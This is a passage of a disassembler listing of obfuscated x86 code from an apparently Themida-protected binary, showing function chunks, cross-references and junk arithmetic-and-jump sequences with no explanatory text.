loc_5637DE: ; CODE XREF: sub_5685B2+C931j
xor edx, ebp
jmp loc_561AB7
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5637E5: ; CODE XREF: sub_56B06D+4j
mov ecx, 767E3198h
sub [esp+10h+var_C], ecx
pop ecx
push [esp+0Ch+var_C]
mov ecx, [esp+10h+var_10]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+10h+var_10]
jmp loc_574A50
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_56380C: ; CODE XREF: sub_5634AF+11179j
add edx, eax
add edx, 6B1D33D1h
jmp loc_565669
; END OF FUNCTION CHUNK FOR sub_5634AF
; =============== S U B R O U T I N E =======================================
sub_563819 proc near ; CODE XREF: sub_5687A3+15B7j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00560A5F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560DE7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056175C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056260C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005630B5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005633A2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005639CA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00567C36 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568A79 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568E23 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569750 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056DF7F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00570A0D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570CAD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00571D5A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005723CB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005734FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573FAB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005743BF SIZE 00000009 BYTES
push ebp
mov ebp, 1C046405h
jmp loc_560DE7
sub_563819 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_563824: ; CODE XREF: sub_563A7F+8DEEj
add esp, 4
jmp loc_56EB42
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56382C: ; CODE XREF: sub_571F6F-B58Aj
push ecx
push eax
mov ah, 97h
mov ch, 24h
jmp loc_5711E7
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_563837: ; CODE XREF: sub_564CDA-FEBj
pop eax
and eax, ebp
mov ebp, [esp-4+arg_0]
jmp sub_56B11B
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_563842: ; CODE XREF: sub_569A84+A395j
pop ecx
jmp loc_5711B7
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
loc_563848: ; CODE XREF: Themida_:00562406j
xchg ecx, [esp]
jmp loc_569173
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561979
loc_563850: ; CODE XREF: sub_561979+17ECj
xor eax, 523E22E8h
dec eax
shr eax, 5
add eax, 0FC1850ACh
add esi, eax
pop eax
jmp loc_56FB34
; END OF FUNCTION CHUNK FOR sub_561979
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_563866: ; CODE XREF: sub_56AB5E+1E9Fj
push small 7181h
mov word ptr [esp+6+var_8+2], ax
mov ah, 0E7h
jmp loc_5660D9
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_563875: ; CODE XREF: sub_56102D-74Fj
mov edx, 4
mov edi, edx
jmp loc_569DC3
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_563881: ; CODE XREF: sub_56E126-5405j
pop eax
push esi
jmp loc_562B36
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_563888: ; CODE XREF: sub_561541+5C0Cj
mov eax, esp
add eax, 4
add eax, 4
jmp loc_573735
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_563897: ; CODE XREF: sub_574CDD-7132j
push eax
mov eax, 50751C74h
dec eax
add eax, 715F4E77h
neg eax
jmp loc_56A4F5
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
loc_5638AA: ; CODE XREF: Themida_:00571754j
movzx cx, ah
push small 30F1h
mov [esp], cx
movzx cx, al
jmp loc_5662E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5638BF: ; CODE XREF: sub_570732-2939j
push edx
push eax
mov eax, 62D65919h
sub eax, 5FE4451Fh
or eax, 0BA61946h
not eax
sub eax, 0F1B56E4Fh
mov edx, eax
pop eax
add edi, edx
mov edx, [esp+14h+var_14]
jmp loc_569E7C
; END OF FUNCTION CHUNK FOR sub_570732
; =============== S U B R O U T I N E =======================================
sub_5638E4 proc near ; CODE XREF: sub_5731F9+1C9Bj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005614DA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005635A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564679 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564919 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00564E1C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056521C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00565EB9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B599 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BA49 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056CE4E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D973 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F69A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056F93F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00570693 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00570AA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00575404 SIZE 00000008 BYTES
sub esp, 4
jmp loc_56CE4E
sub_5638E4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5638EC: ; CODE XREF: sub_569193+2E2Fj
mov esp, [esp+4+var_4]
jmp loc_56A35D
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_5638F4: ; CODE XREF: sub_571890-A88Aj
sub ecx, 204E1209h
sub ecx, 22082967h
add ecx, ebp
add ecx, 22082967h
jmp sub_56657A
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56390D: ; CODE XREF: sub_56CC46+6j
pop eax
add esp, 4
push esi
jmp loc_5650C9
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_563917: ; CODE XREF: sub_56B06D+25C2j
mov edi, 0A1C648Bh
push ecx
mov ecx, 421430Ch
add edi, ecx
pop ecx
jmp loc_569503
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D31
loc_56392A: ; CODE XREF: sub_560D31+7F2Cj
mov ah, bl
jmp loc_573B7D
; END OF FUNCTION CHUNK FOR sub_560D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_563931: ; CODE XREF: sub_568764+6E45j
push [esp+4+var_4]
mov edx, [esp+8+var_8]
push ecx
mov ecx, esp
push ebx
mov ebx, 4
jmp loc_56B936
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_563945: ; CODE XREF: sub_56E05C-91E4j
inc edi
jmp loc_5740AC
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56394B: ; CODE XREF: sub_56616D+9852j
pop edi
add esi, 4
xor esi, [esp+0]
jmp loc_56AA15
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56395A: ; CODE XREF: sub_574304-3246j
mov edx, [esp+0Ch+var_C]
add esp, 4
push esi
xor [esp+0Ch+var_C], 20D24751h
mov ecx, [esp+0Ch+var_C]
jmp loc_571C80
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_563973: ; CODE XREF: sub_569B75+332j
xor ebp, 44132928h
shl ebp, 7
add ebp, 1A9B736Eh
jmp loc_571408
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_563987: ; CODE XREF: sub_5685B2+3B02j
push edx
mov dl, 3Dh
jmp loc_5617E0
; ---------------------------------------------------------------------------
loc_56398F: ; CODE XREF: sub_5685B2+9j
push 6BE34431h
pop esi
push ecx
push edx
push ebp
mov ebp, 7F511F39h
jmp loc_561E61
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_5639A2: ; CODE XREF: sub_569AB3+5AE4j
push esi
mov esi, ecx
mov edx, esi
pop esi
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push [esp+0Ch+var_8]
mov ebx, [esp+10h+var_10]
jmp loc_566873
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_5639CA: ; CODE XREF: sub_563819+FCEBj
xor [esp+8+var_8], esi
xor esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+8+var_8], edx
sub esp, 4
mov [esp+0], esi
push 63946F14h
pop esi
jmp loc_5723CB
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_5639E7: ; CODE XREF: sub_560CF1+499Dj
add esp, 4
add esp, 4
add eax, 4
push edi
mov edi, 4
jmp loc_56A5A9
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_5639FD: ; CODE XREF: sub_56D855+9D3j
neg eax
add eax, 155B7693h
add ecx, 67702348h
add ecx, eax
sub ecx, 67702348h
pop eax
jmp loc_5691E7
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_563A18: ; CODE XREF: sub_56AEF2+8j
pop ebx
xor dl, 0E4h
jmp loc_5704B4
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_563A21: ; CODE XREF: sub_5671E1-4CBFj
mov edi, [esp+8+var_8]
jmp loc_5665B5
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_563A29: ; CODE XREF: sub_56AB5E+3F4Aj
mov esi, 186F6023h
add eax, esi
pop esi
sub eax, 5A470BBBh
jmp loc_5745EA
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_563A3B: ; CODE XREF: Themida_:0056E448j
pop eax
sub ebp, eax
pop eax
sub edx, 423536E6h
add edx, ebp
add edx, 423536E6h
pop ebp
push ebp
jmp loc_565C2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_563A54: ; CODE XREF: sub_56A119+6C25j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_563A59: ; CODE XREF: sub_567866+409Cj
mov edi, eax
jmp loc_565BDF
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
loc_563A60: ; CODE XREF: Themida_:005657CAj
pop edx
jmp loc_571E02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_563A66: ; CODE XREF: sub_5687A3-36DFj
shl esi, 3
jmp loc_56AFF2
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_563A6E: ; CODE XREF: sub_56EFD2-3942j
xchg edi, [esp+4+var_4]
pop esp
mov [esp+0], edi
push [esp+arg_0]
pop edi
jmp loc_5715BD
; END OF FUNCTION CHUNK FOR sub_56EFD2
; =============== S U B R O U T I N E =======================================
sub_563A7F proc near ; CODE XREF: sub_564C54-1B47j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005601BF SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00560750 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056115A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005619F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561B8C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561C19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563824 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C6D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005641CC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00564B78 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056527D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005654BE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565E2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565E64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566781 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566919 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005672B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568A2B SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00568E18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056932E SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00569D76 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A613 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A84E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AC8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AE85 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B4B6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B819 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0056BFF3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C682 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C785 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056C862 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056CEAD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056CFA7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DDAE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056DFD3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056E8C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EB42 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EF2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F851 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057079C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570CF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005716B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057174B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573491 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573CA3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005745FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574A08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574C8C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00574CC4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574FBC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005754E9 SIZE 00000006 BYTES
sub esp, 4
mov [esp+0Ah+var_C+2], ecx
jmp loc_568A2B
sub_563A7F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_563A8A: ; CODE XREF: sub_56FB8A-4F66j
add edi, 4
push edx
mov edx, 4
add edi, edx
pop edx
xor edi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edi
xor edi, [esp+0Ch+var_C]
pop esp
neg edi
add edi, 7C575615h
jmp loc_569E0A
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E4D4
loc_563AB0: ; CODE XREF: sub_56E4D4-2E75j
sub eax, 3BBA696Ch
add eax, 54C64FDBh
mov ebx, [esp+0]
add esp, 4
add eax, 14985F36h
push [esp-4+arg_0]
mov ecx, [esp+0]
add esp, 4
jmp loc_569EF0
; END OF FUNCTION CHUNK FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_563AD9: ; CODE XREF: sub_567B29+A79Aj
pop esi
jmp loc_56F8BC
; END OF FUNCTION CHUNK FOR sub_567B29
; =============== S U B R O U T I N E =======================================
sub_563ADF proc near ; DATA XREF: Themida_:0055FDE8o
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005711A1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005739A9 SIZE 0000000B BYTES
sub esp, 4
push 7026h
mov [esp+8+var_8], ebx
jmp loc_5711A1
sub_563ADF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_563AF2: ; CODE XREF: sub_56D69D+51A4j
pop edx
add eax, ebp
jmp loc_571737
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_563AFA: ; CODE XREF: sub_564BC5-167Fj
pop eax
jmp loc_56DE25
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_563B00: ; CODE XREF: sub_57354D-3324j
mov ebx, 4
and ecx, ebx
push [esp+4+var_4]
mov ebx, [esp+8+var_8]
add esp, 4
push edi
push esp
mov edi, [esp+0Ch+var_C]
add esp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
mov edx, 4
push edx
mov edx, 36B230CBh
jmp loc_574751
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_563B3E: ; CODE XREF: sub_5690E8-46C0j
pop esp
jmp loc_5689D1
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_563B44: ; CODE XREF: sub_56E96D+10j
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
push [esp+8+var_8]
jmp loc_57022E
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565AFE
loc_563B56: ; CODE XREF: sub_565AFE+D93Ej
pop edx
pop [esp-4+arg_0]
pop esp
mov cx, [esp-0Ch+arg_8]
jmp sub_5683C0
; END OF FUNCTION CHUNK FOR sub_565AFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_563B64: ; CODE XREF: sub_56A7FB+5F2Cj
shr ch, 2
jmp loc_5688A0
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_563B6C: ; CODE XREF: sub_565632+3149j
mov [esp-4+arg_0], edi
push esp
jmp loc_56F4B3
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_563B75: ; CODE XREF: sub_56EE9F-A236j
sub ecx, 4
xchg ecx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ecx
add ecx, 4
push edi
mov edi, 27125A81h
jmp loc_564BB3
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_563B9D: ; CODE XREF: sub_570732-115Aj
mov ecx, 56E40915h
add ebx, ecx
pop ecx
jmp loc_56667B
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_563BAA: ; CODE XREF: sub_56BD44+5D4Cj
push ecx
mov ecx, 1667D31Bh
sub ebp, ecx
pop ecx
push edx
mov edx, ebp
mov ebx, edx
pop edx
pop ebp
inc ebx
jmp loc_565A49
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_563BC0: ; CODE XREF: sub_574656-3E97j
mov ebx, 4
add ecx, ebx
jmp loc_563E44
; END OF FUNCTION CHUNK FOR sub_574656
; =============== S U B R O U T I N E =======================================
sub_563BCC proc near ; CODE XREF: sub_5685B2+79A2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560D5B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562C41 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00566728 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566E6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00567FF2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A027 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056C047 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C929 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FCCB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057288B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573D60 SIZE 0000000E BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, 4
add ecx, ebp
mov ebp, [esp+4+var_4]
jmp loc_56C047
sub_563BCC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_563BE1: ; CODE XREF: sub_56CC46+7352j
push edi
jmp loc_57053B
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
loc_563BE7: ; CODE XREF: Themida_:0056D880j
add edi, 4
sub edi, 4
xor edi, [esp]
jmp loc_564C6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_563BFB: ; CODE XREF: sub_56D4B8-27A3j
add esp, 4
jmp sub_56FCD7
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_563C03: ; CODE XREF: sub_5734A7-DF2Dj
mov edi, [esp+4+var_4]
jmp loc_56C5A6
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_563C0B: ; CODE XREF: sub_561418+E30j
pop ebp
jmp loc_56635B
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_563C11: ; CODE XREF: sub_56D69D-40C5j
mov ebx, 572C428Ch
add ebx, 6A341484h
add ebx, 1
jmp loc_570B6B
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
loc_563C27: ; CODE XREF: Themida_:00567C53j
add ecx, edi
jmp loc_573265
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_563C2E: ; CODE XREF: sub_574A21-143D1j
pop eax
inc ecx
sub ecx, 628B21DCh
sub ecx, 7F164B63h
xor ecx, 41A7FBF9h
sub ebx, ecx
mov ecx, [esp+4+var_4]
add esp, 4
sub ebx, 30E589Fh
push 4FEDh
mov [esp+4+var_4], eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_563C60: ; CODE XREF: sub_5753A5-25D3j
add ebp, 0CB56440h
add ebp, eax
jmp loc_573D98
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_563C6D: ; CODE XREF: sub_563A7F+A575j
pop esp
push edx
mov edx, 1
sub ecx, 6C272A13h
jmp loc_56DDAE
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_563C7F: ; CODE XREF: sub_56FA15-14E4j
sub ch, 48h
add al, ch
push [esp+8+var_8]
pop ecx
add esp, 4
push ecx
jmp loc_5662F0
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_563C94: ; CODE XREF: sub_5604FE+10F63j
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], eax
jmp loc_56F416
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_563CAA: ; CODE XREF: sub_56C3E2-7906j
push esi
push [esp+10h+var_C]
pop esi
pop [esp+10h+var_10]
pop esp
jmp loc_567F44
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_563CB9: ; CODE XREF: sub_566DC7-660Dj
push edi
mov edi, 1CC04652h
add edi, 474F35CCh
dec edi
or edi, 1C3E4A49h
inc edi
sub edi, 4C0D43B5h
add esi, edi
pop edi
jmp loc_566543
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_563CDB: ; CODE XREF: sub_56657A+E2DFj
push edx
jmp loc_56AE2C
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_563CE1: ; CODE XREF: sub_564CDA+A243j
add ebp, eax
add ebp, 0D9861ADh
sub ebp, 681E6541h
jmp loc_563837
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_563CF4: ; CODE XREF: sub_5690E8+6EF6j
add esp, 4
add edi, ecx
sub edi, 115D0B90h
push [esp+8+var_8]
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
xor edi, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_567DB1
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
loc_563D27: ; CODE XREF: Themida_:005694FEj
mov ebp, [esp]
add esp, 4
xor ebp, 5C317DF3h
mov edx, ebp
mov ebp, [esp]
jmp loc_5636A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_563D3D: ; CODE XREF: sub_56749A+10j
mov edi, 4
add eax, edi
pop edi
push ecx
mov ecx, 2
add eax, ecx
pop ecx
push 1CECh
mov [esp+8+var_8], eax
push [esp+8+var_4]
push [esp+0Ch+var_C]
push [esp+10h+var_10]
pop eax
sub esp, 4
mov [esp+14h+var_14], eax
mov eax, esp
jmp loc_564DB3
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
loc_563D71: ; CODE XREF: Themida_:0056B197j
add esp, 4
add edx, 12152ADBh
add edx, edi
sub edx, 12152ADBh
pop edi
push ebp
mov ebp, 5DB51FD6h
jmp loc_560C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_563D91: ; CODE XREF: sub_56AB51-8EAAj
